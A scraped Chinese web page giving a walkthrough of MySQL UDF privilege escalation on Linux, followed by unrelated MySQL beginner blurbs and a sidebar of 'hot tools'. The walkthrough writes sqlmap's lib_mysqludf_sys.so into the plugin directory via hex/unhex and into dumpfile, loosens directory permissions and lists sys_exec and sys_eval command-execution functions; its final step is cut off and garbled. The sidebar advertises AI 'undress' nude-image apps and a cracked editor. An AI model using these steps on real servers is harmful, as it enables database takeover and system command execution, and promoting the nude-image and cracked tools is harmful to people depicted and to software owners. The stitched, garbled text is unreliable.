环境:
os:linux(bt5)
database:mysql
简述:
通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。
要求:
在mysql库下必须有func表,并且在skipgranttables开启的情况下,UDF会被禁止;
过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令
1,得到插件库路径
?1234567 |
| Variable_name | Value |
| plugin_dir| /usr/lib/mysql/plugin |
|
2,找对应操作系统的udf库文件
因为自己测试,看了下自己系统的版本,64位
root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可
?123456 |
linuxwindows
lib_mysqludf_sys.so
|
3,利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过
mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
Query OK, 1 row affected (0.04 sec)
因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限
root@bt:~# chmod 777 /usr/lib/mysql/plugin
数据库中写入udf库到mysql库目录:
mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.04 sec)
查看下这个udf库所支持的函数
?123456789101112131415161718192021222324252627282930313233343536373839404142 |
0000000000000ba0 T _init
000000000000101a T lib_mysqludf_sys_info 0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000000dac T sys_bineval 0000000000000dab T sys_bineval_deinit 0000000000000da8 T sys_bineval_init 0000000000000e46 T sys_eval 0000000000000da7 T sys_eval_deinit 0000000000000f2e T sys_eval_init
0000000000000da6 T sys_exec_deinit 0000000000000f57 T sys_exec_init 00000000000010f7 T sys_get 0000000000000da5 T sys_get_deinit 0000000000000fea T sys_get_init 000000000000107a T sys_set 00000000000010e8 T sys_set_deinit 0000000000000f80 T sys_set_init
|
最后,加载函数并执行:
?123456789101112131415161718 |
| mysql|
|

The main role of MySQL in web applications is to store and manage data. 1.MySQL efficiently processes user information, product catalogs, transaction records and other data. 2. Through SQL query, developers can extract information from the database to generate dynamic content. 3.MySQL works based on the client-server model to ensure acceptable query speed.

The steps to build a MySQL database include: 1. Create a database and table, 2. Insert data, and 3. Conduct queries. First, use the CREATEDATABASE and CREATETABLE statements to create the database and table, then use the INSERTINTO statement to insert the data, and finally use the SELECT statement to query the data.

MySQL is suitable for beginners because it is easy to use and powerful. 1.MySQL is a relational database, and uses SQL for CRUD operations. 2. It is simple to install and requires the root user password to be configured. 3. Use INSERT, UPDATE, DELETE, and SELECT to perform data operations. 4. ORDERBY, WHERE and JOIN can be used for complex queries. 5. Debugging requires checking the syntax and use EXPLAIN to analyze the query. 6. Optimization suggestions include using indexes, choosing the right data type and good programming habits.

MySQL is suitable for beginners because: 1) easy to install and configure, 2) rich learning resources, 3) intuitive SQL syntax, 4) powerful tool support. Nevertheless, beginners need to overcome challenges such as database design, query optimization, security management, and data backup.

Yes,SQLisaprogramminglanguagespecializedfordatamanagement.1)It'sdeclarative,focusingonwhattoachieveratherthanhow.2)SQLisessentialforquerying,inserting,updating,anddeletingdatainrelationaldatabases.3)Whileuser-friendly,itrequiresoptimizationtoavoidper

ACID attributes include atomicity, consistency, isolation and durability, and are the cornerstone of database design. 1. Atomicity ensures that the transaction is either completely successful or completely failed. 2. Consistency ensures that the database remains consistent before and after a transaction. 3. Isolation ensures that transactions do not interfere with each other. 4. Persistence ensures that data is permanently saved after transaction submission.

MySQL is not only a database management system (DBMS) but also closely related to programming languages. 1) As a DBMS, MySQL is used to store, organize and retrieve data, and optimizing indexes can improve query performance. 2) Combining SQL with programming languages, embedded in Python, using ORM tools such as SQLAlchemy can simplify operations. 3) Performance optimization includes indexing, querying, caching, library and table division and transaction management.

MySQL uses SQL commands to manage data. 1. Basic commands include SELECT, INSERT, UPDATE and DELETE. 2. Advanced usage involves JOIN, subquery and aggregate functions. 3. Common errors include syntax, logic and performance issues. 4. Optimization tips include using indexes, avoiding SELECT* and using LIMIT.


Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

EditPlus Chinese cracked version
Small size, syntax highlighting, does not support code prompt function

WebStorm Mac version
Useful JavaScript development tools

Safe Exam Browser
Safe Exam Browser is a secure browser environment for taking online exams securely. This software turns any computer into a secure workstation. It controls access to any utility and prevents students from using unauthorized resources.

SublimeText3 English version
Recommended: Win version, supports code prompts!

Zend Studio 13.0.1
Powerful PHP integrated development environment